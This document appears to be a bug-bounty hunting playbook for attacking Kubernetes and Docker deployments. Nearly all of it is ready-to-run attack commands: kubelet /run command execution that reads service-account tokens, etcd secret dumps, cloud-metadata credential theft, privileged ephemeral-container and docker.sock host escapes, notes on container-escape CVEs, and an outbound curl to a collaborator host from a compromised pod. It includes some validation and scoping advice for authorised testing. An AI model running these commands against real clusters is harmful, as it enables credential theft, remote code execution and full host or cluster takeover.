| name | hunt-k8s |
| description | Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts. |
| sources | hackerone_public, cve_database, kubernetes_security_research, portswigger_research |
| report_count | 13 |
HUNT-K8S — Kubernetes & Docker Security
Crown Jewel Targets
K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.
Highest-value findings:
- K8s API anonymous cluster-admin —
system:anonymous/system:unauthenticated bound to a powerful role (classic misconfig: system:anonymous in a ClusterRoleBinding to cluster-admin) → full kubectl. Mere anonymous 200 is NOT this (see false-positive section).
- Kubelet
10250 exec/run — /run returns command output directly; /exec is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
- API-server-mediated kubelet RCE —
/api/v1/nodes/<node>/proxy/run/... reaches the kubelet through the API server using your (low-priv) token; if RBAC grants nodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
- etcd
2379 unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless EncryptionConfiguration is set) → full credential dump.
- docker.sock exposure — SSRF/LFI/RCE reaching
/var/run/docker.sock → create --privileged container, bind-mount host / → host root.
- Container escape via runc — Leaky Vessels (CVE-2024-21626):
WORKDIR/process.cwd pointing at a leaked /proc/self/fd/<n> host FD → break out of an attacker-controlled image/exec to host root.
- SA token abuse — auto-mounted token at
/var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact.
- K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.
OOB / Confirmation Gate (Read First)
K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.
- A
200 on /api/v1/namespaces does not mean cluster-admin. The API server returns 200 with an RBAC-filtered (often empty items: []) list to any principal that can reach list namespaces — anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by actually reading a Secret value.
- 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has
/pods, /stats, /metrics, NO exec/run. 10250 (HTTPS) is where /run and /exec live. Do not report "kubelet RCE" off a 10255 hit.
- Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g.
curl http://<token>.<collab> from inside the pod via /run). A delayed response or an echoed URL is NOT proof.
- Impact proof = the artifact. For exec: the literal
id/hostname output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostname of the node, distinct from the container's).
- Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only
id in a pod you spun up if policy allows, or limit to a single non-destructive id and stop.
Phase 1 — Fingerprint & Port Discovery
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open
curl -sk "https://$TARGET:6443/version"
curl -sk "https://$TARGET:6443/api"
curl -sk "https://$TARGET:6443/healthz"
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
Note the gitVersion — it gates every CVE below.
Phase 2 — Kubernetes API Anonymous / Low-Priv Access
SRV="https://$TARGET:6443"
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'
for R in secrets pods nodes/proxy pods/exec; do
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
-H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
| grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
CVE-2018-1002105 (gitVersion < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint gitVersion in Phase 1; if vulnerable this is the single highest-impact finding.
Phase 3 — Kubelet (Port 10250) — /run First, /exec Done Right
The earlier version of this skill sent /exec as a plain POST and expected id output back. That is wrong. /exec is a SPDY/WebSocket streaming endpoint: a plain POST returns a 302 redirect to a stream location (e.g. /cri/exec/<token>) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.
SRV="https://$TARGET:10250"
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
| grep -E '"namespace"|"name"|"containerName"' | head -40
NS=default; POD=target-pod; CTR=app
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR"
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl -s "http://$TARGET:10255/metrics" | head
CVE-2020-8558 (host-network trust): on affected kube-proxy, services bound to the node's 127.0.0.1 (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only.
Phase 4 — API-Server-Mediated Kubelet RCE (nodes/proxy)
When 10250 is firewalled but you hold a token (even a low-priv pod SA) with nodes/proxy, route exec through the API server:
SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
"$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"
nodes/proxy in any bound role is effectively node-wide RCE. CVE-2022-3294 (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.
Phase 5 — etcd Unauth (Port 2379)
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
-d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head
A recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. False positive: a 200 from etcd peer port 2380 or a TLS-required port returning a handshake error is not unauth client access — only a successful range/get with key data is.
Phase 6 — Service Account Token Abuse (Bound / Projected Tokens)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"
EphemeralContainers node-shell escalation: with pods/ephemeralcontainers (or pod create), attach a debug container that shares the host namespaces to escape the pod:
kubectl debug node/$NODE -it --image=busybox
curl -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
-d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'
Phase 7 — Docker Socket Exposure & runc Container Escape
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST http://localhost/v1.41/containers/create?name=poc \
-d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
Container-escape CVEs (gate on runc/version):
- CVE-2024-21626 — "Leaky Vessels" (runc ≤ 1.1.11): a leaked host file descriptor via
/proc/self/fd/<n> lets a malicious image (WORKDIR /proc/self/fd/N) or runc exec cwd escape to the host filesystem → host RCE. Test only with an image you control on a build/registry surface where you can influence the Dockerfile.
- CVE-2019-5736 (runc): overwrite the host
/proc/self/exe (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.
- CVE-2022-0492 (cgroups v1
release_agent): a container with CAP_SYS_ADMIN (or able to mount cgroupfs) writes a release_agent that executes on the host → escape. Check container caps first.
Phase 8 — Dashboard, Admission, Helm/Tiller Remnants
curl -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
curl -sk "https://$TARGET:8443/api/v1/secret/default"
curl -sk "https://$TARGET:8443/api/v1/pod/default"
curl -sk "https://$TARGET:8443/api/v1/namespace"
nmap -p 44134 -sV $TARGET
curl -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
Chain Table
| K8s finding | Chain to | Impact |
|---|
| API anon with confirmed secret read | extract SA/TLS/app creds | Full cluster compromise |
nodes/proxy token | API-server-mediated /run → pod RCE → SA token | Node-wide RCE → escalation |
Kubelet 10250 /run | exec in any pod → steal SA token → API | Cluster privilege escalation |
| etcd 2379 unauth | dump all Secrets (if unencrypted) → replay token | Full credential dump |
| docker.sock | privileged container + host bind-mount | Host root |
| CVE-2024-21626 (runc) | malicious image/exec → host FD escape | Container → host root |
| EphemeralContainers / pods create | privileged/hostPID debug container | Pod → node escape |
| Projected SA token (aud matches) | API access scoped to its real RBAC | Depends on RBAC — verify first |
| Tiller 44134 exposed | helm install as Tiller SA | Cluster-admin if Tiller is privileged |
False-Positive Killers
- Anon
200 ≠ cluster-admin. RBAC-filtered list returns 200/empty items. Require SelfSubjectRulesReview to show the verbs, then an actual Secret value read.
- 10255 ≠ 10250. Read-only kubelet has no exec/run. "Kubelet RCE" must come from a
/run output or a completed /exec stream on 10250.
/exec plain-POST returns 302, not output. Seeing no body is NOT "patched" — follow the stream (kubeletctl/websocat) before concluding either way.
- Projected/bound SA token may be dead or wrong-audience. Decode
exp and aud; a Vault/OIDC-audience token will not authenticate to the API server.
- etcd plaintext assumption. If
EncryptionConfiguration is enabled, Secret values in etcd are ciphertext — don't claim "plaintext secrets" without showing decoded bytes.
- Version-gated CVEs. Confirm
gitVersion (Phase 1) / runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.
- Dashboard
200 on the HTML shell is just the login page; only a 200 with real resource JSON under /api/v1/<resource>/<ns> proves token-less data access.
Validation Checklist
Severity:
- API anon→secret read, kubelet/nodes-proxy RCE, etcd dump, docker.sock/runc escape, CVE-2018-1002105: Critical
- Dashboard token-less data access, exposed Tiller: High
- Read-only kubelet 10255, anon
/version//pods info disclosure: Medium